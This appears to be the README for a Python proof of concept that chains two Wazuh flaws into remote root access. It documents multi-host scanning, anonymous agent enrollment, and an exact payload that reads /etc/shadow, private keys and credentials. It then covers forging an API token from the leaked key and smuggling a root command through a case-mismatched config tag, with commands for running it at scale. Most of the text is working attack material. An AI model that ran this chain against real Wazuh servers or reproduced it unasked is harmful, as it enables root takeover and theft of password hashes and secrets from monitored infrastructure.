
Wazuh PoC chaining CVE-2026-74034 file read and CVE-2026-74041 command execution; fixed in 4.14.8. Python standard library only.
Single-file, stdlib-only multi-host PoC chaining CVE-2026-74034 and CVE-2026-74041. Both advisories were published on 13 October 2026; the fixes shipped in Wazuh 4.14.8 on 23 September 2026. Version 4.14.8 is the patched release, not an affected target.
The script implements the following chain when the required manager services are reachable and passwordless agent enrollment is enabled:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
No pre-existing credentials are needed when the shipped-by-default passwordless
authd enrollment is reachable (<auth><use_password>no</use_password>).
An enrollment password or required client certificate changes this precondition.
CVE-2026-74041 alone requires an authenticated API user with configuration-update
permission; in this chain, API access follows the signing-key disclosure.
| CVE | CVSS / vector | Affected | One-liner |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | upgrade_custom parameters.file_path is opened by ROOT wm_agent_upgrade with only a wfopen() existence check and streamed back to the enrolled agent → arbitrary root file read |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands accepts an uppercase <LOG_FORMAT> that the case-sensitive Python validator misses but the case-insensitive C logcollector honours → full_command localfile as root |
The two version ranges describe the individual flaws; the documented overlap
for the full chain is >=4.14.3 <4.14.8. Other advisories are outside this PoC.
pip, no pycryptodome, no cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Flag | Default | Meaning |
|---|---|---|
--port | 55000 | Wazuh REST API port |
--authd-port | 1515 | authd enrollment port |
--remoted-port | 1514 | agent secure-channel port |
--timeout | 10 | socket timeout (s) |
--agent-name | poc-<rand8> | name enrolled on the manager |
--cmd | (id; hostname) > …/zz_pwned | phase-4 root command |
--no-rce | off | skip phase 4 |
--keep | off | do not restore ossec.conf / delete the marker |
--debug | off | dump protocol messages |
--threads | 5 | host parallelism |
--api-user | wazuh | username to put in the forged JWT |
Exit is always graceful per host: a refusal, a password-protected authd, a patched version or a crypto mismatch is reported with the exact blocking point and the run continues with the remaining hosts.
Probes TCP 55000 (API), 1515 (authd), 1514 (remoted). Requests GET / with
TLS verification disabled and reports api_version when the API exposes it
unauthenticated. On hardened builds GET / returns 401; the real manager version
is then recovered in phase 3 from /var/ossec/VERSION.json and flagged against
4.14.8.
TLS connection (4.4+ authd is TLS-only; the script also retries plain TCP for very
old builds), then OSSEC A:'<name>'\n. The manager replies
OSSEC K:'<id> <name> <ip> <key>'; the script keeps the 64-hex agent key.
Reproduces the Wazuh agent crypto from src/os_crypto/shared/msgs.c:
[4-byte little-endian length][payload]!<id>!#AES:<ciphertext> for dynamic (ip=any) agentsMD5(agent_key_hex) (32 ASCII bytes), IV FEDCBA0987654321,
PKCS#7!…! padding + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)It sends #!-agent startup {"version":"v4.14.6"} and a keepalive carrying Ubuntu
platform/arch so the agent becomes active in the global DB, then a queue u
(UPGRADE_MQ) task:
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd forwards it to WM_UPGRADE_SOCK; the ROOT wazuh-modulesd opens the file
(wfopen, no path/extension/signature checks) and streams the raw bytes back as
base64 write chunks. The script reassembles them and prints live [ACC] lines:
| file | handling |
|---|---|
/etc/shadow | only root: / wazuh: lines (hash printed in full) |
/var/ossec/etc/client.keys | full (trimmed to 25 lines, bytes counted) |
/var/ossec/etc/authd.pass | full (absent when enrollment is anonymous) |
/var/ossec/api/configuration/security/private_key.pem | full |
/var/ossec/etc/ossec.conf | cluster <key>, indexer creds, <auth> password |
/var/ossec/VERSION.json | version fallback for recon |
Between files the script sends upgrade_update_status (otherwise the task manager
keeps the agent In progress and refuses the next task).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Verified against GET /agents.GET /manager/configuration?raw=true, insert before the last
</ossec_config> a <localfile> with a lowercase <log_format>syslog</log_format>
decoy and an uppercase <LOG_FORMAT>full_command</LOG_FORMAT> plus the command.PUT /manager/configuration (application/octet-stream), then PUT /manager/restart.GET /lists/files/zz_pwned?raw=true for the root command output.--keep: PUT the original ossec.conf, restart, and
DELETE /lists/files/zz_pwned (with retries until the marker is gone).[+] (status), [ACC] (collected
access/secret), [!] (warning), [-] (failure), prefixed with the host.findings.jsonl is appended next to the script: one JSON object per host with
version, agent_id, agent_key (when enrollment succeeds), accesses,
findings, ok, and optional error. Treat the file as sensitive.ok indicates at least one file read, not confirmed RCE.